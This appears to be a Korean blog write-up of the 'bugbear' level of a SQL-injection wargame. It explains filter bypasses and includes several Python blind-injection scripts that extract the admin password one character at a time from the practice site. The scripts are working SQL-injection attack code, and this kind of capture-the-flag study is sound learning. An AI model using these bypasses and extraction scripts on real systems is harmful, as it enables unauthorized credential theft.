[LOS] SQL Injection 풀이 (bugbear)
no 입력된 필터링 된 문자
prob
_
()
'
substr
ascii
or
and
like
0x
=
공백
우선 이 문제 전darknight와 유사한 문제이지만 특이한 점은 전과 달리 필터링이 더 엄격해 졌다는 것이다.
전에는 기존 코드에서 필터링 우회할 수 있는 방법을 찾아봐야한다.
or과 &&의 경우 ||와 &&으로 첫째 우회가 가능하고 공백은 %09, %0a, %0b, %0c, %0d로 가능하다. 문제는 like 이다.
like의 경우 우회 가능한 문자는 in, betweem, instring 이 존재한다.
import requests
url='https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php'
cookies={'PHPSESSID':'pn5rbt2lp2gfnrk9fo9df7mjtr'}
pw_str=''
for position in range(1,9):
for find_pw in range(33,127):
value = '"x" or id like "admin" and ord(mid(pw,{},1)) like {}#'.format(position,find_pw)
parameter={'no':value}
res = requests.get(url, params=parameter, cookies=cookies)
if("Hello admin" in res.text):
pw_str+=chr(find_pw)
print("pw=", pw_str)
break
if("php" not in res.text)
print("Error")
break
print("Found all pw=",pw_str)
아래와 같이 기본적인 틀을 만들고 admin 뒤에 들어오는 pw만 비교하도록 sql 문을 작성하였다.
ord 같은 경우 or 문자 필터링으로 인해 작동을 못하기 때문에 이번에는 16진수로 변환하는 hex를 이용하여 진행할 예정이다.
코드를 맞게 작성했는데 작동 안해서 지금 1시간째 골머리를 썩고있다... 왜 안되는거지
오늘 해보고 안되면 내일 올리도록 하겠다..
import requests
url='https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php'
cookies={'PHPSESSID':'fkmvn6qogmh77vgsp8ij60pqlc'}
pw_str=''
for position in range(1,9):
for find_pw in range(48,122):
value = '"x"%0a||%0aid%0ain%0a("admin")%0a&&%0ahex(mid(pw,{},1))%0ain%0a(hex({}))'.format(position,find_pw)
parameter={'no':value}
res = requests.get(url, params=parameter, cookies=cookies)
print(value)
if("Hello admin" in res.text):
print(1)
pw_str+=chr(find_pw)
print("pw=", pw_str)
break
print("Found all pw=",pw_str)
풀었다. 작동이 안되는 이유는 파이썬에서는 공백 대치문으로 /**/ 으로만 적용을 해야 매개변수가 제대로 전달되는 것으로 보인다. 공백 문자를 바꾸니 바로 작동된다...
import requests
url='https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php'
cookies={'PHPSESSID':'fkmvn6qogmh77vgsp8ij60pqlc'}
pw_str=''
for position in range(1,9):
for find_pw in range(48,122):
value = '""/**/||/**/id/**/in/**/("admin")/**/&&/**/hex(mid(pw,{},1))/**/in/**/(hex({}))'.format(position,find_pw)
parameter={'no':value}
res = requests.get(url, params=parameter, cookies=cookies)
if("Hello admin" in res.text):
print(1)
pw_str+=chr(find_pw)
print("pw=", pw_str)
break
print("Found all pw=", pw_str)
'Coding > Wargame' 카테고리의 다른 글
[LOS] SQL Injection 풀이 (giant)- 14 (0) | 2022.06.14 |
---|---|
SQL Injection bypass(우회) 방법 정리 (0) | 2022.06.13 |
[LOS] SQL Injection 풀이 (darkknight) (0) | 2022.06.11 |
[LOS] SQL Injection 풀이 (golem) (0) | 2022.06.10 |
[LOS] SQL Injection 풀이 (orge) (0) | 2022.06.08 |